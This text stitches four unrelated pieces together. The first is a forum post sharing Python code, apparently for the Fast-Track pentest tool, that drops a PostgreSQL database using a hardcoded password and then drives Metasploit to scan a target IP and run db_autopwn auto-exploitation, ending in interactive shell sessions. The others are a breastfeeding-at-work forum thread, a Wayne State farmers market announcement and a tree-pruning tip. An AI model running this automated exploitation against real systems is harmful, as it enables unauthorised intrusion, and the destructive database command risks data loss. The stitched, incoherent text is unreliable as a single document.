Enjoy.Code:# define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line #------------ ABOVE THIS LINE HAS NOT BEEN MODIFIED ------------ try: dropdb = pexpect.spawn('dropdb -e -U postgres -W pentest') dropdb.expect('Password:') dropdb.sendline('toor') print "\nExisting database destroyed\n" # replace postres with your username and pentest with your database # replace toor with your password associated with that username # at this point the database should be destroyed... except Exception: print "\nDatabase could not be destroyed.\n" # ...or we fail try: # spawn msfc child1 = pexpect.spawn('%smsfconsole' % (metapath)) # load postgresql driver child1.sendline ('db_driver postgresql') # connect to new db with your credentials and database child1.sendline('db_connect postgres:email@example.com/pentest') # run port scans child1.sendline ('''db_nmap %s ''' % (ipaddr)) # run exploitation phase child1.sendline ('db_autopwn -p -t -e %s' % (option1)) child1.sendline ('sleep 5') child1.sendline ('jobs -K') child1.sendline ('\n\n\n') child1.sendline ('sessions -l') # jump to pid child1.interact() except Exception: print "\n Exiting Fast-Track...\n"
After struggling for nearly a day.....a fix!!...I couldn't figure out how to drop the old database...thank you so much!


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Results 1 to 3 of 3
11th January 2012 06:03 PM #1
Breastfeeding and returning to work
In October 2011, Ikea Adelaide was given an accreditation for helping employees to continue breastfeeding when they return to work: you can read more about this here. For example, they provide breastfeeding workers with significant breaks in order to express milk in a suitably designed private room.
What are your experiences of returning to work whilst breastfeeding? What help did your employer give you?
5th February 2012 01:23 AM #2
- Join Date
- Dec 2011
- Posts
- 115
I think it is wonderful that IKEA Adelaide provides all of those things to breastfeeding women who are returning to work. It is awesome that they provide information and private facilities for mothers that need to express. I was not given much by my employer when I returned to work. I didn't really speak with them about it, but I was able to work a shorter shift so I could go home earlier.
13th February 2012 03:06 AM #3
- Join Date
- Dec 2011
- Posts
- 532
My experience was nothing like that. I hope that more businesses take note of IKEA Adelaide's efforts and begin to offer similar accommodations. Breastfeeding is beneficial for society in so many ways. Employers need to recognize this.


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The Wayne State University Farmers Market unveils its seventh season June 4. Open Wednesdays from 11 to 4 pm at its usual location in front of Prentis Hall, the market will run through October 29.
Detroit-grown produce will be on offer by D-Town Farm, Grown in Detroit Cooperative, Brother Nature Produce, and Labrosse Farm. Produce anchors Van Houtte and Holtz will also return with their usual selections of fruits, berries, vegetables, flowers, herbs, potted plants, and eggs. They will be joined by Burda's Berries, who offers a variety of fresh berries throughout the season.
Delicious hot and/or cold prepared foods and desserts will be sold by Russell Street Deli, Avalon Bakery, Brooklyn Street Local, and Sweet Potato Sensations, all returning vendors. Nikki's Ginger Teas will offer a splash of freshness to warm afternoons, while Greentoe Gardens will sweeten them with several local honey flavors. Mystic Kettle—joining us for a first full season—will pop delicious popcorn right in front of you.
The market accepts cash, Bridge Card benefits, Double Up Food Bucks (DUFB), and WIC and Senior Project FRESH coupons. Sponsored by the Fair Food Network, DUFB matches Bridge Card spending at the market up to $20 per card per day. The market also offers the Student Advantage Project, in which students pay $5 to get $10 in vouchers to spend on produce at the market.


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Tree Pruning
Trees are pruned to provide clearance for other plants and objects, to provide more light penetration, as well as to frame views and improve the health of the tree. Pruning trees combines art and science. A skilled pruner will leave the tree looking like it was barely touched. Please be careful when you are using tools to prune. When using a saw, always hold the branch you may be removing with your free hand above the cut.